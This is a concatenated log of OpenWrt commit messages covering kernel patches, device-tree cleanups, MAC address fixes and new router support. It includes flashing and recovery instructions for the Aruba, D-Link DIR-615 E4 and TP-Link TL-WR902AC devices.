Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
The new driver use opp table to register frequency.
Drop psv bindings as they are not used anymore.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
The new driver use opp table to register frequency.
Drop psv bindings as they are not used anymore.
Adds speedbin definition for nvmem driver
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
This patch has been proposed but never actually merged to
mainline. It was accepted but never re proposed by the
creator.
Rework it, fix kernel panic cause by double kfree.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Backport patch applied to qcom-cpufreq-kryo
driver as krait cpu will base on this driver.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Drop old cpufreq as now we have new driver that
can use normal kernel opp definition
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Rework 0052-PM-OPP-Update-the-voltage-tolerance-when-adjusting-t
to reflect changes upstream.
- Skip unnecessary allocation of buffer to set u_volt
- Change opp u_volt directly
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Update 0049-PM-OPP-Support-adjusting-OPP-voltages-at-runtime with
upstream version.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
It has been notice a buf in L2 cache scaling where the scaling is not
done proprely if the frequency is set to the initial state before
the new frequency.
From: https://patchwork.kernel.org/patch/10565443/
* The clocks are set to aux clock rate first to make sure the
* secondary mux is not sourcing off of QSB. The rate is then set to
* two different rates to force a HFPLL reinit under all
* circumstances.
In the initial stage of boot to force a new frequency to apply, is
needed to first set the frequency back to the lowest one (aux_rate)
and then to the target one. This force and make sure the controller
actually switch the frequency to the right one. Apply the same
mechanism to L2 frequency scaling. Before scaling to the target
frequency, first set the frequency to the aux_rate to force the
transition, then scale it to the target frequency. Doing the wrong way
can produce unexpected results and could lock the scaling mechanism
until a full reboot is done (Causing a full reset by the krait-cc driver)
From: https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=77612720a2362230af726baa4149c40ec7a7fb05
When the Hfplls are reprogrammed during the rate change,
the primary muxes which are sourced from the same hfpll
for higher frequencies, needs to be switched to the 'safe
secondary mux' as the parent for that small window. This
is done by registering a clk notifier for the muxes and
switching to the safe parent in the PRE_RATE_CHANGE notifier
and back to the original parent in the POST_RATE_CHANGE notifier.
This should apply also to L2 scaling... as we can't relly use
the notifier, we manually do this on L2 scaling.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
edad0d6 version: bump snapshot
0e38a3c compat: ipv6_dst_lookup_flow was backported to 5.3 and 5.4
2e52c41 wg-quick: linux: use already configured addresses instead of in-memory
3721521 tools: adjust wg.8 syntax for consistency in COMMANDS section
21a1498 wg-quick: linux: try both iptables(8) and nft(8) on teardown
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
According to many bugreports [0][1][2] the default ath10k-ct kernel
module is unusable on devices with just 64 MiB RAM or with 128 MiB and
dual ath10k cards. The target boards boot but eventually oom-killer
starts to interfere with normal operation, so the current state is
effectively broken.
Since the two patches in question have a performance impact (and
possibly some other unexpected side-effects) a dedicated build variant
is added so that users of the low RAM devices can still benefit from all
the ath10k-ct advantages.
According to testing [3] results, the issue can be experienced even with
"a 256MB device with three radios". Measured performance impact of
implementing small buffers was lowering "the maximum 5 GHz throughput on
an IPQ40xx device without RPS/XPS optimizations from 494/432 Mbit/s for
TCP transfers (download/upload) to 438/343 Mbit/s"
The patches were apparently inspired by QSDK tweaks used by ODMs for the
affected devices.
[0] http://lists.infradead.org/pipermail/openwrt-devel/2019-December/020573.html
[1] https://github.com/openwrt/openwrt/pull/1077
[2] https://bugs.openwrt.org/index.php?do=details&task_id=2664
[3] https://github.com/freifunk-gluon/gluon/pull/1440#issue-195607701
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
[Remove double CONFIG_ATH10K-CT_LEDS entry]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Deactivate CONFIG_SFP for kernel 4.19 in the generic configuration.
The CONFIG_SFP configuration option was not set to anything in the
ath79 build for me, set it to deactivated by default.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The factory image for the dlink_dir-615-e4 is getting too big which makes
the full ath79 tiny build fail, deactivate it by default.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Don't build with uClibc-ng. It's totally unsupported as several functions
are missing.
Make the musl libc support conditional.
Fix hash with make check FIXUP=1. Apparently I based the Makefile off of
libedit and forgot to fix the hash.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Fixes: 856ea2bad3 ("libcxx: Add package")
The device label contains:
E01: 74:4D:28:xx:xx:30
E05: 74:4D:28:xx:xx:34
The first value corresponds to the address set in hard_config 0x10.
That one is taken for the label MAC address.
Signed-off-by: Sven Roederer <freifunk@it-solutions.geroedel.de>
The node pinctrl0 is already set up in the SOC DTSI files, but
defined again as member of pinctrl in most of the device DTS(I)
files. This patch removes this redundancy for the entire ramips
target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Unloading and reloading the modules fails, as platform_device_put() does not
release resources fully.
root@OpenWrt:/# insmod i2c-gpio-custom bus0=0,18,0,5
[ 196.860620] Custom GPIO-based I2C driver version 0.1.1
[ 196.871162] ------------[ cut here ]------------
[ 196.880517] WARNING: CPU: 0 PID: 1365 at fs/sysfs/dir.c:31 0x80112158
[ 196.893431] sysfs: cannot create duplicate filename '/devices/platform/i2c-gpio.0'
...
[ 197.513200] kobject_add_internal failed for i2c-gpio.0 with -EEXIST, don't try to register things with the same name in the same directory.
This patch fixes it by replacing platform_device_put() to
platform_device_unregister().
Fixes: da77408537 ("i2c-gpio-custom: minor bugfix")
Fixes: 3bc81edc70 ("package: fix w1-gpio-custom package (closes#6770)")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The rpcd service is an important service, but if the service stops
working for any reason, no one will ever respawn that service. With this
commit, the procd service will monitor if the rpcd service
is running. If the rpcd service has crashed, then
procd respawns the rpcd service.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Several CMake packages such as log4cplus and protobuf(-c) install to
lib64 instead of lib on some hosts. This completely breaks rpath linking.
Override it globally to avoid fixing each package individually.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Tested-by: Sebastian Kemper <sebastian_ml@gmx.net>
The USB descriptor parsing in adb fails to detect SuperSpeed devices
because of the SuperSpeed Endpoint Companion Descriptor. This
cherry-picks the upstream fix for the problem.
Unfortunately there never were a release with this fix before the
conversion to C++, so upgrading to a newer version isn't an option.
This makes adb work with SuperSpeed devices like the Sierra Wireless
EM7565. Tested and verified.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
- both packages provide ca-certs
- make ca-bundle the default provider
This should allow easy transition between these two forms of CA certificates storage
Signed-off-by: Maxim Storchak <m.storchak@gmail.com>
Currently in OpenWrt, there are two libc++: libstdcpp and uClibc++. The
former is huge and the latter supports only C++98 with some basic support
for C++11. Those C++ versions seem to be specific to the compiler version
libcxx supports C++11 and above while being much smaller than libstdcpp.
On mt7621, these are the sizes of the ipks that I get:
libstdcpp: 460786
libcxx: 182881
uClibc++:67720
libcxx is faster than uClibc++ and is under active development as part of
the LLVM project while uClibc++ is effectively dead.
This PR modifies uclibc++.mk to expose the make menuconfig option. Further
cleanup is beyond the scope of this PR. What that means is, this is not
used by default.
A g++-libcxx wrapper based on the uClibc++ one was added. Works the same
way.
Compile tested with all packages that use uclibc++.mk in their Makefiles
under mipsel_24kc. kismet fails compilation but that package needs to be
cleaned up and updated.
Runtime tested with gddrescue, gdisk, dcwapd, bonnie++, and aircrack-ng
on a TP-Link Archer C7v2.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
VMWare ESXI 6.5 and above is not compatible with
subformat=monolithicSparse (The default qemu-img convert -O VMDK option).
Monolithic Sparse vmdk can be imported, but issues occur when running
sysupgrade with new images and other tasks that modify the file system
(issues like Kernel panics, reboot loops, sometimes crashing the Host ESXI
box).
This change creates an additional VMDK output file for ESXI that sets the
subformat to monlithicFlat, and the adapter_type to the SCSI lsilogic
controller.
This change existed back on:
25e36d379e
But it looks like the change was removed when refactoring occurred with:
5f6a2732f892b6229473576d89cc963ae9c97d5d
Signed-off-by: John Sommerville <jsommerville@untangle.com>
Its way more trouble to update this to a newer version of qemu than it
is to backport the two additional features we need.
Signed-off-by: Brett Mastbergen <bmastbergen@untangle.com>
apache mirrors holds only latest releases, to download
older releases, one must use archive.apache.org to get
them.
Signed-off-by: Jiri Kastner <cz172638@gmail.com>
The release notes since last time for wave-1:
* No changes to wave-1, but I make a version .014 copy anyway to keep
the makefile in sync.
The release notes since last time for wave-2:
* December 16, 2019: Wave-2 has a fix to make setting txpower work
better. Before setting the power was ignored at
least some of the time (it also appeared to work
mostly, so I guess it was being correctly set in
other ways).
Signed-off-by: Stefan Lippers-Hollmann <s.l-h@gmx.de>
This backports the patch for GCC PR target/89587 (gcc's rs6000
configuration unconditionally sets MULTIARCH_DIRNAME, even when
multiarch is disabled).
This currently affects apm821xx and may cause issues when
cross-compiling packages, e.g. Python 3[1].
This includes patches for GCC 8 (with the changelog diff removed);
this change is already included in GCC 9.2 and 7.5.
[1]: https://github.com/openwrt/packages/issues/10552
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
[Removed patch for GCC 7.4.0, GCC 7.5.0 already contains this]
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
led2l and led2h value is incorrectly set by led3l and led3h.
Bug was introduced in commit: 863e79f8d5
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
Fixes: 863e79f8d5 ("lantiq: add support for kernel 4.9")
MAC addresses are stored in factory partition at:
0x0004: WiFi 2.4GHz (label_mac +1)
0x0028: LAN, WAN (label_mac)
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This patch does the following:
- prepend vendor name to model
- set status LEDs to follow the behavior in stock FW
- simplify state_default node definition
- use generic name for flash node
Stock FW status indicators:
https://files.xiaomi-mi.com/files/Mi_Router_Wi-Fi_Nano/Mi_router-NANO_EN.pdf
> Yellow: power on / off
> Blue: during normal operation
> Red: in case of problems with the operation of the device
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This moves the include of lantiq.dtsi from the DTS files to the
parent falcon_lantiq_easy98000.dtsi.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This renames lantiq DTS(I) files to follow soc_vendor_device scheme.
This will make DTS files easier to maintain.
As a side effect, DTS file name can be derived from device node
names now, only having to specify a SOC variable in Makefiles.
While at it, move files to arch/mips/boot/dts/lantiq subfolder.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Assign the ASC pins to the serial controller node instead of using pin
hogging (where pins are assigned to the pin controller).
This is the preferred way of assigning pins upstream.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Assign the PCI pins to the PCI controller node instead of using pin
hogging (where pins are assigned to the pin controller).
This is the preferred way of assigning pins upstream.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Assign the STP pins to the STP GPIO controller node instead of using
pin hogging (where pins are assigned to the pin controller).
This is the preferred way of assigning pins upstream.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Assign the GPHY LED pins to the Ethernet controller node instead of
using pin hogging (where pins are assigned to the pin controller).
This is the preferred way of assigning pins upstream.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Assign the NAND pins to the NAND controller node instead of using pin
hogging (where pins are assigned to the pin controller).
This is the preferred way of assigning pins upstream.
While here, define all NAND pins (CLE, ALE, read/RD, ready busy/RDY and
CE/CS1). This means that the pinctrl subsystem knows that these pins are
in use and cannot be re-assigned as GPIOs for example.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Define the SPI pins in the corresponding SoCs.dtsi and assign them to
the SPI controller node. All known boards use CS4 and it's likely that
this is hardcoded in bootrom so this doesn't bother with having
per-board SPI pinmux settings.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Assign the MDIO pins to the switch node instead of using pin hogging
(where pins are assigned to the pin controller).
This is the preferred way of assigning pins upstream.
This converts amazonse, ar9 and vr9. danube is skipped because the pin
controller doesn't define a pinmux for the MDIO pins (some of the SoC
pads may be hardwired to the MDIO pins instead of being configurable).
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
This fixes the state_default node by setting the correct groups and
inheriting &state_default from parent DTSI directly.
The compatible for the wifi nodes is changed to the more generic
mediatek,mt76.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, lan/wan MAC address for Edimax RG21S are only read using
mtd_get_mac_ascii, so eth0.1 and eth0.2 addresses are set, but
eth0 address is random. Since the device's LAN address is the same
as for 2.4 GHz, though, this patch set's the eth0 address based
on the 2.4 GHz one, which can be extracted by mtd-mac-address.
This will also allow to move the label MAC address setup to DT.
The setup of lan_mac and wan_mac are kept in 02_network, so those
locations are still in use, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch does the following:
- move WiFi LED setup to DTS
- fix LAN/WAN MAC addresses and add label MAC address
- wan5G -> wlan5G, power -> led_power
- increase flash SPI frequency to 30MHz
MAC addresses are stored in Factory partition at:
0x1006: WiFi 2.4GHz, WAN (label_mac)
0x5006: WiFi 5GHz, LAN (label_mac +4)
By improving flash speed,
`time dd if=/dev/mtdblock8 of=/dev/null bs=2k`
is reduced from 7m 10.26s to 5m 9.52s.
Using higher frequencies did not improve speed further.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The current ethernet MAC address setup of TL-WDR4300 board is different
from the setup of stock firmware:
OpenWrt: lan = label_mac -2, wan = label_mac -2
stock: lan = label_mac, wan = label_mac +1
This patch applies to all devices using TL-WDR4300 board:
TL-WDR3600 v1
TL-WDR4300 v1
TL-WDR4300 v1 (IL)
TL-WDR4310 v1
Mercury MW4530R v1
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The current ethernet MAC address setup of TL-WDR4300 board is different
from the setup of stock firmware:
OpenWrt: lan = label_mac -2, wan = label_mac -2
stock: lan = label_mac, wan = label_mac +1
The full address assignment is as follows:
LAN label
WAN label + 1
5G label
2G label - 1
This patch changes all devices using TL-WDR4300 board:
TL-WDR3600 v1 (checked on device)
TL-WDR4300 v1 (checked on device)
TL-WDR4300 v1 (IL)
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rephrase/extend commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
SoC: Qualcomm IPQ4029
RAM: 512M DDR3
FLASH: - 128MB NAND (Macronix MX30LF1G18AC)
- 4MB SPI-NOR (Macronix MX25R3235F)
TPM: Atmel AT97SC3203
BLE: Texas Instruments CC2540T
attached to ttyMSM0
ETH: Atheros AR8035
LED: WiFi (amber / green)
System (red / green)
BTN: Reset
To connect to the serial console, you can solder to the labled pads next
to the USB port or use your Aruba supplied UARt adapter.
Do NOT plug a standard USB cable into the Console labled USB-port!
Aruba/HPE simply put UART on the micro-USB pins. You can solder yourself
an adapter cable:
VCC - NC
D+ - TX
D- - RX
GND - GND
The console setting in bootloader and OS is 9600 8N1. Voltage level is
3.3V.
To enable a full list of commands in the U-Boot "help" command, execute
the literal "diag" command.
Installation
------------
1. Get the OpenWrt initramfs image. Rename it to ipq40xx.ari and put it
into the TFTP server root directory. Configure the TFTP server to
be reachable at 192.168.1.75/24. Connect the machine running the TFTP
server to the ethernet port of the access point.
2. Connect to the serial console. Interrupt autobooting by pressing
Enter when prompted.
3. Configure the bootargs and bootcmd for OpenWrt.
$ setenv bootargs_openwrt "setenv bootargs console=ttyMSM1,9600n8"
$ setenv nandboot_openwrt "run bootargs_openwrt; ubi part aos1;
ubi read 0x85000000 kernel; bootm 0x85000000"
$ setenv ramboot_openwrt "run bootargs_openwrt;
setenv ipaddr 192.168.1.105; setenv serverip 192.168.1.75;
netget; set fdt_high 0x87000000; bootm"
$ setenv bootcmd "run nandboot_openwrt"
$ saveenv
4. Load OpenWrt into RAM:
$ run ramboot_openwrt
5. After OpenWrt booted, transfer the OpenWrt sysupgrade image to the
/tmp folder on the device.
6. Flash OpenWrt:
$ ubidetach -p /dev/mtd1
$ ubiformat /dev/mtd1
$ sysupgrade -n /tmp/openwrt-sysupgrade.bin
To go back to the stock firmware, simply reset the bootcmd in the
bootloader to the original value:
$ setenv bootcmd "boot"
$ saveenv
Signed-off-by: David Bauer <mail@david-bauer.net>
Device support for Belkin F9K1109v1 was added using set_usb_led()
although this was removed in 772b27c207 ("ramips: set F5D8235 v1
usb led trigger via devicetree").
Use ucidef_set_led_usbport() instead.
Fixes: f2c83532f9 ("ramips: add support for Belkin F9K1109v1")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rephrase commit title and message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates the device variable SOC and adds it to DEFAULT_DEVICE_VARS.
It is supposed to replace target-specific SOC variables like ATH_SOC or
MTK_SOC and thus unify variable names across targets.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This harmonizes the line wrapping in image Makefile device
definitions, as those are frequently copy-pasted and are a common
subject of review comments. Having the treatment unifying should
reduce the cases where adjustment is necessary afterwards.
Harmonization is achieved by consistently (read "strictly")
applying certain rules:
- Never put more than 80 characters into one line
- Fill lines up (do not break after 40 chars because of ...)
- Use one tab for indent after wrapping by "\"
- Only break after pipe "|" for IMAGE variables
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This harmonizes the line wrapping in image Makefile device
definitions, as those are frequently copy-pasted and are a common
subject of review comments. Having the treatment unifying should
reduce the cases where adjustment is necessary afterwards.
Harmonization is achieved by consistently (read "strictly")
applying certain rules:
- Never put more than 80 characters into one line
- Fill lines up (do not break after 40 chars because of ...)
- Use one tab for indent after wrapping by "\"
- Only break after pipe "|" for IMAGE variables
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Was inadvertantly missed from the inital forward port from ar71xx to
ath79.
Fixes: 1588114cf2 ("ath79: add etactica-eg200 support")
Signed-off-by: Karl Palsson <karlp@etactica.com>
[commit description/subject facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This enables using 4kiB sectors as erase blocks for 4MiB NOR flash ICs
that support it.
Writeable jffs2 overlay used to store settings requires a partition with
at least 5 erase blocks, so using small sectors is essential for devices
with 4MiB flash.
Sysupgrading a device running firmware without this feature will likely
not allow to preserve configs automatically but since ath79 is
considered to be in a "technology preview" state it shouldn't be a
problem.
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
Specifications:
- FCC ID: KA2IR615E3
- SoC: MIPS32 24K 400 MHz Atheros AR7240
- RAM: 32 MiB DDR SDRAM ESMT M13S2561616A-5T
- Flash: 4 MiB NOR SPI Macronix MX25L3208E
- Wireless: AR9287 2.4 GHz 802.11n 2T2R, 2x RP-SMA connectors
- Ethernet: 5x 100BASE-TX Fast Ethernet
- LEDs: 9x GPIO, 1x ath9k
- Buttons: 2x tactile switches
- UART: 3.3 V, 115200 8n1
- USB: simple hardware modification required, 1x USB 1.1 Full Speed
Partitioning notes:
Vendor firmware (based on CameoAP99) defines two additional partitions:
"mac" @0x3b0000, size 0x10000 and "lp" @0x3c0000, size 0x30000.
The "mac" partition stores LAN MAC address and hardware board name.
However, the vendor firmware uses addresses from "nvram" partition, and
the board name is used only for informational purposes in the Web
interface (included in the pages' header), not affecting the firmware
image check.
The "lp" partition is supposed to contain a "language pack" (which can
be used to add an additional language support to the Web interface) and
is flashed separately, using the vendor firmware upgrade page.
Since these partitions are absolutely useless for OpenWrt and
overwriting them doesn't prevent downgrading to obsolete vendor
firmware, this patch appends the valueable space to "firmware".
Installation instructions:
- Upgrade from OpenWrt ar71xx with "sysupgrade -f -n"
or
- Upload as a firmware update via the vendor Web-interface
or
- Connect UART and use "loady" to upload and run OpenWrt initramfs
image, then sysupgrade from it (TFTP client doesn't work)
or
- Before powering up hold "reset" button and keep it pressed for about
15 seconds after, then access fail safe Web server on 192.168.0.1 (the
old uIP TCP/IP protocol stack is not compatible with modern Linux, the
kernel, so you'll need to use some other OS to do this). Can be
performed without a Web-browser too:
curl http://192.168.0.1/cgi/index \
-F Send=@openwrt-ath79-tiny-dlink_dir-615-e4-squashfs-factory.bin
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
Netgear WNDR routers (AR9344 models) like WNDR4300 have 128 MiB of flash
memory but only first 32 MiB are used now - both by vendor's firmware and
OpenWrt. This patch concatenates two regions of flash memory: ubi part
of firmware partition and reserved (unused) space beyond 'caldata_backup'
while preserving ART backup. No data is wiped or moved away.
This increases area for OS ubi volumes from 23 to 119 Megabytes.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
The preinit network initialisation and failsafe informational message
are inherently racy as the interface takes some time to become
functional after "ip link set $pi_ifname up" command.
Consider this timing:
[ 12.002713] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready
[ 12.008819] IPv6: ADDRCONF(NETDEV_UP): eth1.1: link is not ready
[ 12.118877] random: procd: uninitialized urandom read (4 bytes read)
[ 13.068614] eth1: link up (1000Mbps/Full duplex)
[ 13.073309] IPv6: ADDRCONF(NETDEV_CHANGE): eth1: link becomes ready
[ 13.080445] IPv6: ADDRCONF(NETDEV_CHANGE): eth1.1: link becomes ready
Since the UDP message was sent prior to link becoming ready, it was
never seen on the wire.
The default failsafe timeout is set to 2 seconds, so with this patch
there are two attempts to send the message, one spent in vain, and the
other visible in tcpdump on an attached host. Of course, in cases when
the interface is brought up faster it leads to two messages, however it
should be harmless. This patch (almost) doesn't affect normal boot time
while still allowing to enter failsafe reliably with a single button
press, matching the official "generic failsafe" documentation.
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
It has been used by several people for some time already and feedback
has been mostly positive.
Ref: https://github.com/openwrt/openwrt/pull/2472
Tested-by: Hannu Nyman <hannu.nyman@iki.fi> [ipq8065, R7800]
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq8065, NBG6817]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[separate commit, commit subject and description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
- Use new dwc3-qcom usb driver.
- Drop dwc3-of-simple as we have a dedicated driver now.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[split into separate commit, commit subject facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Voltage tolerance is accounted per core, not per cpu, so add
missing DT entry.
Signed-off-by: Pavel Kubelun <be.dissent@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
- usb-dwc3-of-simple is not used anymore as we have qcom dedicated driver
- usb-phy-qcom-dwc3 is not dependent of dwc3-of-simple
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Added patch:
- 063-3 Fix tsense shared memory problem
Recent changes in ioremap_resource function are causing fails for the
memory areas which are already mapped. This changes are causing tsense
driver failures during initialization:
qcom-tsens 900000.thermal-sensor: tsens init failed
So this patch uses simple ioremap in order to use this shared memory
space.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[commit subject and desciption facelitf]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Improve rediability of gpio mdio list. No functional change.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[proper authorship of the patch]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
There is warning with "property has invalid length (4 bytes)"
related to nand definition. Set size-cells to zero to fix this.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Add missing watchdog to list of compatible timers
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Add some tags for nand and sata structure to easily
reference them in other dts.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Increase drive-strength from
https://lore.kernel.org/patchwork/patch/626885/
2mA drive strength is not enough when we connect multiple i2c devices
on the bus with different pull up resistors.
This issue was detected when multiple i2c devices
connected on the other side of level shifters on Linaro sensor board.
Maxing up to 16mA made i2c much stable.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Spc is disabled in ipq8065 board as it does cause cpu lockup
(probably caused by wrong register being set)
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Use new usb3 implementation and refresh dts to the new dwc3 structure
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[proper authorship of the patch]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
- ipq8064 compatible was missing from nbg6817.
- Rename ap148 with a better descriptive name.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[proper authorship of the patch]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
DT spec require okay instead of ok in dts files
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Reworked:
- 0034 patchset update
Added:
- 080 Add support for pinctrl-msm framework
Removed:
- 0074-ipq806x-usb-Control-USB-master-reset.patch
(we now have a dedicated driver for qcom usb)
- 0047-mtd-nand-Create-a-BBT-flag-to-access-bad-block-marke
(merged upstream)
- 310-msm-adhoc-bus-support
(it looks like it was never actually used in any dts)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[commit subject and description facelift, SoB fix]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
PCI_V3_SEMI config symbol was found missing in generic kernel config
after ipq806x config refresh to 4.19.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[commit subject and description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
These changes are needed in order to migrate old kernel 4.14 config to
the upcoming kernel version 4.19. Also add missing configuration
options that comes up with this SoC.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[line wrap long commit description, add 4.19 to subject, soc->SoC]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This copies files from files-4.14 to files-4.19 directory in order to
get clear diffs for any changes done from now on.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[added missing commit description, refreshed ea8500 and wpq864 DTS]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This partially reverts commit 32144ba275.
This commit replaced gpio-exports in favor of gpio-hogs for enabling USB
power at boot, but this rids the user of control of the USB port power
present on this device for a long time. It was agreed on a mailing list
[1] that this is not the way to go, and this patch breaks a very common
use-case of WWAN modem reset by power cycle, used on a lot USB equipped
routers, hence revert this change until a better solution can be found.
[1] http://lists.infradead.org/pipermail/openwrt-devel/2019-November/020151.html
Tested-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[adjusted commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link TL-WR902AC v1 is a pocket-size, dual-band (AC750), successor of
TL-MR3020 (both devices use very similar enclosure, in same size). New
device is based on Qualcomm QCA9531 v2 + QCA9887. FCC ID: TE7WR902AC.
Specification:
- 650/391/216 MHz (CPU/DDR/AHB)
- 1x 10/100 Mbps Ethernet
- 1x USB 2.0 (GPIO-controlled power)
- 64 MB of RAM (DDR2)
- 8 MB of FLASH
- 2T2R 2.4 GHz (QCA9531)
- 1T1R 5 GHz (QCA9887)
- 5x LED (GPIO-controlled), 2x button, 1x 3-pos switch
- UART pads on PCB (TP1 -> TX, TP2 -> RX, TP3 -> GND, TP4 -> 3V3, jumper
resitors are missing on TX/RX lines)
- 1x micro USB (for power only)
Flash instructions:
Use "factory" image under vendor GUI.
Recovery instructions:
This device contains tftp recovery mode inside U-Boot. You can use it to
flash OpenWrt (use "factory" image) or vendor firmware.
1. Configure PC with static IP 192.168.0.66/24 and tftp server.
2. Rename "openwrt-ath79-generic-tplink_tl-wr902ac-v1-squashfs-factory.bin"
to "wr902acv1_un_tp_recovery.bin" and place it in tftp server dir.
3. Connect PC with LAN port, press the reset button, power up the router
and keep button pressed until WPS LED lights up.
4. Router will download file from server, write it to flash and reboot.
MAC Address summary:
- wlan1 (2.4GHz Wi-Fi): Label MAC
- wlan0 (5GHz Wi-Fi): Offset -1 from label
- eth0 (Wired): Offset +1 from label
Root access over serial line in vendor firmware: root/sohoadmin.
Based on support in ar71xx target by: Piotr Dymacz <pepe2k@gmail.com>
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[remove size-cells from gpio-export]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This update doesn't include:
3b1e0a7bdfee brcmfmac: add support for SAE authentication offload
